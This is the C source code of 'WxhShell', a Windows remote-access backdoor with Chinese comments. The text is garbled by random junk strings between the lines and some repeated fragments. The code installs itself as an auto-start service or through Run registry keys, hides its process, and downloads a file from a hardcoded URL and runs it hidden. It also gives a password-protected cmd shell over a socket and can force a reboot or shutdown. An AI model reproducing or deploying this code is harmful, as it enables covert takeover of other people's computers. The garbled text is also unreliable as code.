(PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N-`;\ t1jlxK if (!NtQueryInformationProcess) return 0; ht)nx,e= pFTlhj)1 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n=? 0g;1! if(!hProcess) return 0; P]"deB| lGUV(D if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oDP((I2- NRisr CloseHandle(hProcess); X5Y
`(/V WuFwt\U hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J4"swPf if(hProcess==NULL) return 0; ti^v%+r1 ( 'n8=J HMODULE hMod; E[.tQ|C char procName[255]; _I_?k+#WFe unsigned long cbNeeded; 1~DD9z A&c@8 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]^9*
t,{9 O}_a3>1DY CloseHandle(hProcess); UMuuf6 EWIc|b: if(strstr(procName,"services")) return 1; // 以服务启动 kLt9;<L ;#s}b1 return 0; // 注册表启动 liqR#< } DBJA}Cw lVdT^"~3 // 主模块 *3O >J" int StartWxhshell(LPSTR lpCmdLine) zN+*R;Ds { xs!g{~V{ SOCKET wsl; 1Xr"h:U_X BOOL val=TRUE; T_?nd T2 int port=0; QZ3(u<f struct sockaddr_in door; HDVl5X`j' hNnX-^J<o if(wscfg.ws_autoins) Install(); pP* ~ =? +}QBzGW` port=atoi(lpCmdLine); PCPf*G> VtO;UN if(port<=0) port=wscfg.ws_port; 'd#\7J>d @f{_=~+ WSADATA data; s)YP%vn# if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zLQ#GF u:$x6/t if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; j-YJ." setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a4(?]ND~6 door.sin_family = AF_INET; ]}[Yf door.sin_addr.s_addr = inet_addr("127.0.0.1"); q|o|/ O-{ door.sin_port = htons(port); eR-=<0Iw; wD],{ y if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
ml.;wB| closesocket(wsl); #M?F^u[ return 1; LxlbD#<V } 7~"(+f J+b!6t}mZn if(listen(wsl,2) == INVALID_SOCKET) { /3Nb closesocket(wsl); H5rPq_R return 1; P:(EU s}0 } n2d8;B# Wxhshell(wsl); N3gNOq& WSACleanup(); /Y[o=Uyl -nk#d%a\ return 0; d)0LVa( (+UmUx= } ZP6x 'Z.OF5|eGT // 以NT服务方式启动 a,~D+s;^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sr+gD*@h { 5BHOHw D{ DWORD status = 0;
dGsS<@G DWORD specificError = 0xfffffff; hA*Z'.[ gf3U#L}P serviceStatus.dwServiceType = SERVICE_WIN32; C~{NKMeC/m serviceStatus.dwCurrentState = SERVICE_START_PENDING; K2xH'v
O ( serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .vN%UNu serviceStatus.dwWin32ExitCode = 0; 2K]IlsMO& serviceStatus.dwServiceSpecificExitCode = 0; >AQ)x serviceStatus.dwCheckPoint = 0; IAP/G5'Q serviceStatus.dwWaitHint = 0; >wKu6-
]a eb!s'@ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jQ_dw\
{0 if (hServiceStatusHandle==0) return;
l*K I 19F ;oFp status = GetLastError(); N )zPxQ if (status!=NO_ERROR) CYt jY~ { #9D/jYK1X serviceStatus.dwCurrentState = SERVICE_STOPPED; .QXG"R serviceStatus.dwCheckPoint = 0; @%OPy|=,{ serviceStatus.dwWaitHint = 0; & =73D1A serviceStatus.dwWin32ExitCode = status; "mPSA Z serviceStatus.dwServiceSpecificExitCode = specificError; mPs%ZC SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4<T*i{[ return; ;GE26Ymqly } n .f4z< ZT) !8 serviceStatus.dwCurrentState = SERVICE_RUNNING; Cf0|Z serviceStatus.dwCheckPoint = 0; *$i; o3 serviceStatus.dwWaitHint = 0; HKTeqH_: if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [x!i*
rW3 } (;0$i?3\ .4Qb5I2# // 处理NT服务事件,比如:启动、停止 @s%X VOID WINAPI NTServiceHandler(DWORD fdwControl) i}PK$sa#c { ?}'N_n ys switch(fdwControl) J?UA:u { W/ g|{t[ case SERVICE_CONTROL_STOP: /Jxq
3D)v serviceStatus.dwWin32ExitCode = 0; m$fQ `XzU serviceStatus.dwCurrentState = SERVICE_STOPPED; h@*lWi2K7 serviceStatus.dwCheckPoint = 0; qDnCn H serviceStatus.dwWaitHint = 0; *.,"N} { O87"[c`> SetServiceStatus(hServiceStatusHandle, &serviceStatus); { p1lae } bz{^ h' return; j)jCu ;` case SERVICE_CONTROL_PAUSE: <nDNiM# serviceStatus.dwCurrentState = SERVICE_PAUSED; +I|Rk& break; dqqnCXYuW case SERVICE_CONTROL_CONTINUE: C=N!z serviceStatus.dwCurrentState = SERVICE_RUNNING; ^Xs%.`Gv/ break; )|y#OZHR case SERVICE_CONTROL_INTERROGATE: HLjvKE=W break; $!!R:Wn/R }; \U/v;Ijf SetServiceStatus(hServiceStatusHandle, &serviceStatus); fL!V$]HNt } ,~(|p` Wrmgu}q // 标准应用程序主函数 "\}b!gl$8 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~?#~ Ar { 8r,9OM m_a^RB( // 获取操作系统版本 -=>sTMWpr OsIsNt=GetOsVer(); w{PUj GetModuleFileName(NULL,ExeFile,MAX_PATH); L-#e?Y}$J (O$}(Tn // 从命令行安装 D =$4/D:; if(strpbrk(lpCmdLine,"iI")) Install(); O!;H}{[dg r0>q%eM8 // 下载执行文件 N83!C=X' if(wscfg.ws_downexe) { l+%Fl=Q2em if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4~!Eje! WinExec(wscfg.ws_filenam,SW_HIDE); LU%#mY } O?CdAnhQc` d]U`?A, if(!OsIsNt) { ~?gzq~~t // 如果时win9x,隐藏进程并且设置为注册表启动 .>}BNy HideProc(); o`idg[l. StartWxhshell(lpCmdLine); (Aorx #z } a$d:_,\" else G.E[6G3 if(StartFromService()) aX|g S\zx // 以服务方式启动 zm>>} 5R StartServiceCtrlDispatcher(DispatchTable); !X-9Ms}(d else z&O#v9.NE| // 普通方式启动 \.o=icOx StartWxhshell(lpCmdLine); # Mu<8`T- ^w.]Hd2 return 0; 4Rx~s7l } 6Lb{r4^ Uo~T'mA" >?z:2@Q)B >Iuzk1'S =========================================== {@3z\wMK$ vd`O aM}#U h\(B#SN 6
Ew@L<v RT,:hH a"x}b " GWhE8EDT ?=<~^Lk #include <stdio.h>
JnY$fs*" #include <string.h> FQ`(b3.
#include <windows.h> }`9jH:q-Z #include <winsock2.h> !NTH.U:g #include <winsvc.h> 2HD:JdL #include <urlmon.h> q]CeD 1w`2Dt #pragma comment (lib, "Ws2_32.lib") 5$kdgFq( #pragma comment (lib, "urlmon.lib") J96uyS* :_v!#H) #define MAX_USER 100 // 最大客户端连接数 @OzMiN #define BUF_SOCK 200 // sock buffer Hfh!l2P #define KEY_BUFF 255 // 输入 buffer *Ddi(` [
7g>< #define REBOOT 0 // 重启 >%u@R3PH] #define SHUTDOWN 1 // 关机 eIH$"f;L 6#U^<` #define DEF_PORT 5000 // 监听端口 /'ZKS T4 ow/U #define REG_LEN 16 // 注册表键长度 802H$P^ps #define SVC_LEN 80 // NT服务名长度 V C-d0E0 => qTNh*' // 从dll定义API A{N\) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M diwRi typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b?8)7.{F{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1fH<VgF` typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sef]>q /N6}*0Ru // wxhshell配置信息 X d3}Vn= struct WSCFG { Zyu/|Og int ws_port; // 监听端口 wPX*%0] char ws_passstr[REG_LEN]; // 口令 8#w)X/ int ws_autoins; // 安装标记, 1=yes 0=no 7b, (\Fm char ws_regname[REG_LEN]; // 注册表键名 &dr@6-xaq char ws_svcname[REG_LEN]; // 服务名 i)MEK#{ char ws_svcdisp[SVC_LEN]; // 服务显示名 FH8k'Hxg char ws_svcdesc[SVC_LEN]; // 服务描述信息 {WQq}-( char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ygzxCn|# int ws_downexe; // 下载执行标记, 1=yes 0=no <.bRf char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .fp&MgiQ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Xh
F_] D<>@
%"% }; XRxj W `:p1&OS // default Wxhshell configuration 5wv fF.v struct WSCFG wscfg={DEF_PORT, BRzfic:e "xuhuanlingzhe", Z+4D.bA 1, T7[NcZ:I "Wxhshell", WF[bO7: "Wxhshell", F'FP0t!S "WxhShell Service", O6X"RsI} "Wrsky Windows CmdShell Service", LHkQ'O0 "Please Input Your Password: ", =^tA_AxVw 1, iX "C/L|JN "http://www.wrsky.com/wxhshell.exe",
s2REt$.q "Wxhshell.exe" 6KRO{QK }; [%pRfjM g<wRN#B // 消息定义模块 cj$d=k~ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F9a^ED0l\ char *msg_ws_prompt="\n\r? for help\n\r#>"; r^1+cwy/7P char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X!>eiYK) char *msg_ws_ext="\n\rExit."; S\*`lJzPM char *msg_ws_end="\n\rQuit."; %S \8. char *msg_ws_boot="\n\rReboot..."; x`%JI=q char *msg_ws_poff="\n\rShutdown..."; SwW['c'*]B char *msg_ws_down="\n\rSave to "; b?T t~hTp K* char *msg_ws_err="\n\rErr!"; Gh\q^?} char *msg_ws_ok="\n\rOK!"; GpI!J}~m Kr-G{b_Pp char ExeFile[MAX_PATH]; WQ6"0*er int nUser = 0; ba@ctkCW HANDLE handles[MAX_USER]; %IY``r)j int OsIsNt; {A:j[ [{
~TcT SERVICE_STATUS serviceStatus; t9cl"F= SERVICE_STATUS_HANDLE hServiceStatusHandle; =0
F_H82BE+3 // 函数声明 4(8xjL: int Install(void); +&i +Mpb int Uninstall(void); yZkyC'/ int DownloadFile(char *sURL, SOCKET wsh); S/tIwG
~e3 int Boot(int flag); Ig6T g ? void HideProc(void); :j^FJ@2_ int GetOsVer(void); /.z;\=;[n! int Wxhshell(SOCKET wsl); i'#Gy,R void TalkWithClient(void *cs); 4 %W: int CmdShell(SOCKET sock); )]htm&q5 int StartFromService(void); yuhnYR\`m int StartWxhshell(LPSTR lpCmdLine); ~*W!mlg SF*n1V3hx VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3W_PE+:Kr VOID WINAPI NTServiceHandler( DWORD fdwControl ); D5,P)[ j+-P :xvP // 数据结构和表定义 ,Lr<)p SERVICE_TABLE_ENTRY DispatchTable[] = .6f%?oo { ,yd= e}lQx {wscfg.ws_svcname, NTServiceMain}, jMNU ?m: {NULL, NULL} De&6 9 }; 3?n>yS "Wo,'8{v // 自我安装 cLVe T int Install(void) -E"GX { }Gyqq6Aeb char svExeFile[MAX_PATH]; &<RpWA k{ HKEY key; c%m3}mrb strcpy(svExeFile,ExeFile); Y!J>U 3&&9_`r&_ // 如果是win9x系统,修改注册表设为自启动 y:m_tv0~0 if(!OsIsNt) { xg_Df, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?L&|Uw+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F#
T 07< RegCloseKey(key); jh2t9SI~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V'*~L\;pU RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /zDi9W*~1 RegCloseKey(key); OyV<u@[i return 0; L@`ouQ"sa } ~w8JH2O } sm[94,26 } 'R`tLN else { :G\<y '52~$z#m // 如果是NT以上系统,安装为系统服务 w}Uhd, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )9l^O
if (schSCManager!=0) !l]dR@e { Wjhvxk SC_HANDLE schService = CreateService &nBa=Enf ( AdRX`[ik schSCManager, <\kr1qHH wscfg.ws_svcname, iu&wO<)+? wscfg.ws_svcdisp, AKMm&(fh% SERVICE_ALL_ACCESS, ^P151*=D SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nWQ;9_qBB SERVICE_AUTO_START, !*6CWV0 SERVICE_ERROR_NORMAL, `W/sP\3 svExeFile, #Zrlp.M4 NULL, =] *.ZH#h NULL, mU}F!J#6 NULL, pvmC$n^zc NULL, F1L:,.e` NULL a:QDBS2Llv );
Uf}\p~; if (schService!=0) M%jPH { Y"A/^] CloseServiceHandle(schService); UfS%71l.$ CloseServiceHandle(schSCManager); p+)Y Tzzc strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~3uP6\F strcat(svExeFile,wscfg.ws_svcname); V< k8N^ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C8z{XSo RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); da)NK! RegCloseKey(key); -B86U6^s return 0; @v}/zS } V5*OA??k< } \=_{na_ CloseServiceHandle(schSCManager); Y ')x/H } 6k#Jpmmr } !%$`Eq)M^7 qucq,Yw return 1; x c{hC4^V } +\v?d&.f0 Q7W>qe%4 // 自我卸载 GnvL'ESa@M int Uninstall(void) Q-1vw6d { r Tz$^a}/ HKEY key; OpHsob~ C*P7-oE2rh if(!OsIsNt) { 'C"9QfK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /Q~i~B 2j- RegDeleteValue(key,wscfg.ws_regname); 0jEL<TgC RegCloseKey(key); n=[/Z! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Yk=PS[f RegDeleteValue(key,wscfg.ws_regname); KEWTBBg RegCloseKey(key); >,td(= : return 0; hdrm!aBd } hP15qKy } P#AW\d^"B } TqnTS0fx else { >y,-v:Vy %n*-VAfE\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D-c`FG' if (schSCManager!=0) K.0:C`C { Hw4%uS==V SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1YH+d0UGn if (schService!=0) MG.`
r{5 { w!D|]LoE if(DeleteService(schService)!=0) { 55z]&5N CloseServiceHandle(schService); 9Q"'"b*?z CloseServiceHandle(schSCManager); >3Eo@J,?d return 0; ;3@cy|\: } (SvWvm CloseServiceHandle(schService); {E@Lft- } A,a.8!*}vd CloseServiceHandle(schSCManager); T:; 2 } ,N)/w1?I } @H=:)*; x@[rms
return 1; DP|D\+YyYA } xoN3 i*Z"Me // 从指定url下载文件 -PfX0y9n int DownloadFile(char *sURL, SOCKET wsh) #?S^kM-0 { 6ZP"p<xX HRESULT hr; Q637N|01 char seps[]= "/"; `G}TG( char *token; `7r@a char *file; maNl^i char myURL[MAX_PATH]; 3eF-8Z(f char myFILE[MAX_PATH]; sc}~8T <_-hRbS strcpy(myURL,sURL); ~Yy>zUH^X token=strtok(myURL,seps); y2^Y/)
while(token!=NULL) %4gg@Z9 { ;'cN<x)%| file=token; VcXq?f>\ token=strtok(NULL,seps); ()6wvu} } >7QvK3S4% V)[@98T_4? GetCurrentDirectory(MAX_PATH,myFILE); 6|PrX
L& strcat(myFILE, "\\"); eLfk\kk]Pc strcat(myFILE, file); XMxSQ B1 send(wsh,myFILE,strlen(myFILE),0); ci?qT,& send(wsh,"...",3,0); 0|{u{w@!` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
@fl-3q if(hr==S_OK) ~
Q. 7VDz return 0; qm"rY\: else Q|#W#LV,K return 1; q!|*oUW $}!p+$ } zN^n]N_? ?B2] -+Y // 系统电源模块 Gz,i~XX int Boot(int flag) {?:X8&Sf { Hl{S]]z HANDLE hToken; $\X[@E S0 TOKEN_PRIVILEGES tkp; sT}.v* rustMs2p if(OsIsNt) { }&wUr>= OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^c9t'V`IWQ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); CEX"D` tkp.PrivilegeCount = 1; t.xxSU5~% tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AP'*Nh@Ik( AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I|^;B8[ if(flag==REBOOT) { {y=j?lD if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K/IWH[ return 0; wk5s)%V } Ab{ K<:l else { W04@!_) < if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ahJ`$U4n return 0; n>BkTaI } MkfBuW;) } zh8nc%X{ else { Vex{.Vh," if(flag==REBOOT) { Cv6'`",Yzm if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;DFSzbF` return 0; 21K>`d\ } )48QBz? else { Rh_np if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #49kjv@ return 0; g?z/2zKR } 3G}x;Cp\D } 1g8_Xe4 nn@-W] return 1; :~Wrf8UQ } L^@'q6*} oX30VfT // win9x进程隐藏模块 5z7U1: void HideProc(void) gOSJM1Mr3 { &"&Z
#llb QdF5Cwf4 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q(wx nm if ( hKernel != NULL ) a&/#X9/ { VVac: pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d3ZdB4L ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1w@(5 ^V FreeLibrary(hKernel); TN+iA~kQ } %5M/s'O?i kMi/>gpQ return; [j=yMP38!: } +B B@OW }wr{W:j // 获取操作系统版本 g{OwuAC_ int GetOsVer(void) z> Rsi { j*so9M6|c OSVERSIONINFO winfo; $'BSH4~|. winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Pg,b-W?n* GetVersionEx(&winfo); dJJP3}M/ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G_bG return 1; We$:&K0 else E ~Sb return 0; 3!XjtVhK?I } $q6BP'7 7K,-01-: // 客户端句柄模块 _x%7@.TB int Wxhshell(SOCKET wsl) 8!O5quEc { uwzvb gup? SOCKET wsh; [$0p+1 struct sockaddr_in client; g!@<n1 L DWORD myID; q rJ`1 {XR6>] while(nUser<MAX_USER) YVQN&|- { *scVJ int nSize=sizeof(client); #hfXZVD wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \KMToN&2 if(wsh==INVALID_SOCKET) return 1; !=;+%C&8y [I'0,y handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nw -xSS{ if(handles[nUser]==0) gw#5jW\ closesocket(wsh); XewVcRo else g7}Gip}.> nUser++; 1C}NQ!. } .k,1f*% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RDW8]=uM )97SnCkal return 0; h`KFL/fT } hn5h\M? Zn&,
t &z // 关闭 socket K0-ypU*P void CloseIt(SOCKET wsh) HePUWL' { >80;8\ closesocket(wsh); |^: cG4e nUser--; B~ ]k#Ot) ExitThread(0); Aydm2!l1 } xSktg]u Se m+`fn;* // 客户端请求句柄 O@u?h9?cf> void TalkWithClient(void *cs) ]op}y0 { 7mI:|G t[ubn+ SOCKET wsh=(SOCKET)cs; QS%%^+E2 char pwd[SVC_LEN]; nygbt<;? char cmd[KEY_BUFF]; K&vF0*gN3 char chr[1]; `NCwK6/i int i,j; od IV:( d/PiiiFf, while (nUser < MAX_USER) { U{7w#>V
. ~HTmO;HNf" if(wscfg.ws_passstr) { xf<at -> if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mw_~*Nc'9 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tjIl-IQ //ZeroMemory(pwd,KEY_BUFF); a|%J=k>> i=0; 9>l*lCA while(i<SVC_LEN) { Ov5" +ln9c // 设置超时 ^V ?<K.F fd_set FdRead; ^8 z R struct timeval TimeOut; UJD 0K]s FD_ZERO(&FdRead); (U&tt]| FD_SET(wsh,&FdRead); Li!Vx1p;u. TimeOut.tv_sec=8; 4" Cb/y3 TimeOut.tv_usec=0; "S8uoSF`> int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vMA]j>> if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wN@oYFoL hBS.a6u1'd if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'Q|M'5' pwd=chr[0]; =d".|k if(chr[0]==0xd || chr[0]==0xa) { 0"kbrv2y pwd=0; kStnb?nk break; 5Sm}nH } a][f i++; G9Y#kBr } fKeT,U`W 'C`U"I // 如果是非法用户,关闭 socket _7H7
dV if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !k6K?xt } DnC{YK &+cEV6vb+ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iIMd!Q.)@ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~D<IB#C D&od?3}E while(1) { "Ue.@> Mmxlp.l ZeroMemory(cmd,KEY_BUFF); 5*+!+V^?X (zgW%{V@ // 自动支持客户端 telnet标准 C>-aIz!y j=0; O[I\A[* while(j<KEY_BUFF) {
@OV|]u if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *AG#316 cmd[j]=chr[0]; :yRo3c if(chr[0]==0xa || chr[0]==0xd) { KV]X@7`@ cmd[j]=0; &,}j#3< break; JW{rA6? } igIRSN}h j++; 3N dq> }
8cU}I4| k,85Y$`' // 下载文件 M.x=<:upp if(strstr(cmd,"http://")) { gnFr}L&j send(wsh,msg_ws_down,strlen(msg_ws_down),0); C9~52+S if(DownloadFile(cmd,wsh)) `);AW(Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); W }8'Pf else "Om=N@? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o^^rJk } isQ[ Gc!8 else { <D:.(AUeO q|j2MV5#g switch(cmd[0]) { (a[y1{DLy {1IfU // 帮助 ZX>AE3wk case '?': { S4' send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T;L>;E>B break; !zkZQ2{Wn } u -;_y='m // 安装 eIz<)-7: case 'i': { :ctu5{"UJ if(Install()) @CTgT-0! send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yn@lr6s else :K-~fA%kt? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q?nN!eT break; W yB3ls~ } qu-B|
MuOa // 卸载 ~tBYIkvWT case 'r': { {l>yi if(Uninstall()) N):tOD@B send(wsh,msg_ws_err,strlen(msg_ws_err),0); Of" else %5eY' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2>cGH7EBD break; 5MN8D COF } gLE:g5v6 // 显示 wxhshell 所在路径 I,0q4 case 'p': { JBi*P.79^ char svExeFile[MAX_PATH]; V#XppYU strcpy(svExeFile,"\n\r"); 7[> 6i strcat(svExeFile,ExeFile); b\3Oyp> send(wsh,svExeFile,strlen(svExeFile),0); ?98("T|y; break; ~rDZ?~% } lwrCpD. // 重启 ,u+PyG7 cb case 'b': { Bk*F_>X" send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3on7~*
if(Boot(REBOOT))
{zn!vJX send(wsh,msg_ws_err,strlen(msg_ws_err),0); TM_/`a2} else { JBXrFC; closesocket(wsh); v3aYc:C ExitThread(0); }q $5ig } eO?p*"p" F break; oXb;w@: } Fx;QU)1l3 // 关机 )6q,>whI] case 'd': { r[BVvX/,F send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l8I /0`_ if(Boot(SHUTDOWN)) swK-/$# send(wsh,msg_ws_err,strlen(msg_ws_err),0); F({HP)9b else { hEBY8=gK closesocket(wsh); ]^lw*724'> ExitThread(0); }% `.h" } A/u)# ^\ break; zG ^$"f2 } P(H8[ , // 获取shell PcA2/!a case 's': { *~t6(v? CmdShell(wsh); v.pBX< closesocket(wsh); tnPv70m ExitThread(0); X$ s:>[H break; t=Xv;=daB } SZ,YS
4M // 退出 |y0(Q V case 'x': { ;$smH=I send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d8[J@M53|T CloseIt(wsh); L1cI`9 break; ZUoxMm
} X~lVVBO // 离开 :-/M?,Q" case 'q': { t.7? send(wsh,msg_ws_end,strlen(msg_ws_end),0); BI3@|,._N closesocket(wsh); Lv|q WSACleanup(); N"]q='t exit(1); .NYbi@bk(< break; -I&m:A$4* } a0D%k: k5 } D|e
uX7b } k@/sn(x fh](K'P#^ // 提示信息 ,.kha8v if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CIb2J)qev } ti
I.W } M luVx' GBRa.;Kk return; /atW8 `& } y#U+c*LB G LIi6 // shell模块句柄 ,.OERw int CmdShell(SOCKET sock) (NF~Ck$#q { _3TY,l~ STARTUPINFO si; ";3zXk[# ZeroMemory(&si,sizeof(si)); Qa-K$dm% si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sj HrPs e si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I'uSp-Sfy PROCESS_INFORMATION ProcessInfo; mt,OniU= Q char cmdline[]="cmd"; M<kj_.
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B56L1^7 return 0; !,6c ~ w } ~N<4L>y< z([ v%zf // 自身启动模式 7f0lQ int StartFromService(void) 3'cE\u { ]pH-2_ typedef struct %M7` Hwu { k'Sp. DWORD ExitStatus; LUM@#3& DWORD PebBaseAddress; 0{,Z{&E DWORD AffinityMask; dep=& DWORD BasePriority; TFkZp e; ULONG UniqueProcessId; A
Q'J9 ULONG InheritedFromUniqueProcessId; u>kN1k Q8 } PROCESS_BASIC_INFORMATION; YoBPLS`K {q`jDDM PROCNTQSIP NtQueryInformationProcess; +yk24
`> g*03{l#P static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6L"%e!be6 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z0Vl+ |mGFts}0o' HANDLE hProcess; $}>+kHoT{ PROCESS_BASIC_INFORMATION pbi; }bdmomV W-?()dX{ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E5I"%9X0H if(NULL == hInst ) return 0; 7"20hAd I%sFqh> g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U%q7Ai7 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =kJ,%\E` NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :h\Q;? ?o81E2TJO if (!NtQueryInformationProcess) return 0; gW)3e1a `(_s|-$ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KH(%? if(!hProcess) return 0; gMWjk7 <}<zgOT[1! if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =cm~vDl[ j4jTSLQ\ CloseHandle(hProcess); =g9*UzA"O |=`~-i2W hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /aZ+T5O if(hProcess==NULL) return 0; bpH^:fyLU` =5/9%P8j9 HMODULE hMod; ?[g=F <r char procName[255]; "Zl5< unsigned long cbNeeded; fI{&#~f4C [5G6VNh= if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6p?,( 5nT"rA CloseHandle(hProcess); jbVECi- iOU6V if(strstr(procName,"services")) return 1; // 以服务启动 mz, 3I)VHMC return 0; // 注册表启动 D~hg$XzK } 6kpg+{; *AO,^R&e. // 主模块
